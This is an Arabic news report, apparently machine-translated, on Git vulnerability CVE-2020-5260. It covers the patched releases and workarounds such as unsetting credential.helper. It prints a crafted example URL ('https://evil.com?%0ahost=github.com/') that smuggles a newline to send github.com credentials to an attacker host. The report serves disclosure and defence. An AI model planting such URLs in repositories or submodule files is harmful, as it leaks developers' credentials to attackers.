ثغرة أمنية في Git تؤدي إلى تسريب أوراق الاعتماد

نشرت الإصدارات التصحيحية لنظام التحكم بالمصدر الموزع Git 2.26.1، 2.25.3، 2.24.2، 2.23.2، 2.22.3، 2.21.2، 2.20.3، 2.19.4، 2.18.3 و2.17.4، في الذي القضاء عليه عالي التأثر (CVE-2020-5260) في المعالج "الاعتماد"، والذي يتسبب في إرسال بيانات الاعتماد إلى المضيف الخطأ عندما يصل عميل git إلى مستودع باستخدام عنوان URL منسق خصيصًا يحتوي على حرف السطر الجديد. يمكن استخدام الثغرة الأمنية لترتيب بيانات الاعتماد من مضيف آخر ليتم إرسالها إلى خادم يتحكم فيه المهاجم.

عند تحديد عنوان URL مثل "https://evil.com?%0ahost=github.com/"، سيقوم معالج بيانات الاعتماد عند الاتصال بالمضيف evil.com بتمرير معلمات المصادقة المحددة لـ github.com. تحدث المشكلة عند تنفيذ عمليات مثل "git clone"، بما في ذلك معالجة عناوين URL للوحدات الفرعية (على سبيل المثال، سيؤدي إجراء "git submodule update" إلى معالجة عناوين URL المحددة في ملف .gitmodules من المستودع تلقائيًا). تكون الثغرة الأمنية أكثر خطورة في المواقف التي يقوم فيها المطور باستنساخ مستودع دون رؤية عنوان URL، على سبيل المثال، عند العمل مع الوحدات الفرعية، أو في الأنظمة التي تنفذ إجراءات تلقائية، على سبيل المثال، في البرامج النصية لبناء الحزمة.

لمنع الثغرات الأمنية في الإصدارات الجديدة مُحرَّم تمرير حرف السطر الجديد في أي قيم يتم إرسالها عبر بروتوكول تبادل بيانات الاعتماد. بالنسبة للتوزيعات، يمكنك تتبع إصدار تحديثات الحزمة على الصفحات ديبيان, أوبونتو, RHEL, SUSE / openSUSE, فيدورا, قوس, فري.

كحل بديل لمنع المشكلة موصى به لا تستخدم credential.helper عند الوصول إلى المستودعات العامة ولا تستخدم "git clone" في وضع "--recurse-submodules" مع المستودعات غير المحددة. لتعطيل معالج credential.helper بشكل كامل، وهو ما يفعله حفظ واسترجاع كلمات المرور من مخبأ، محمي مستودعات أو ملف بكلمات مرور، يمكنك استخدام الأوامر:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

المصدر: opennet.ru

إضافة تعليق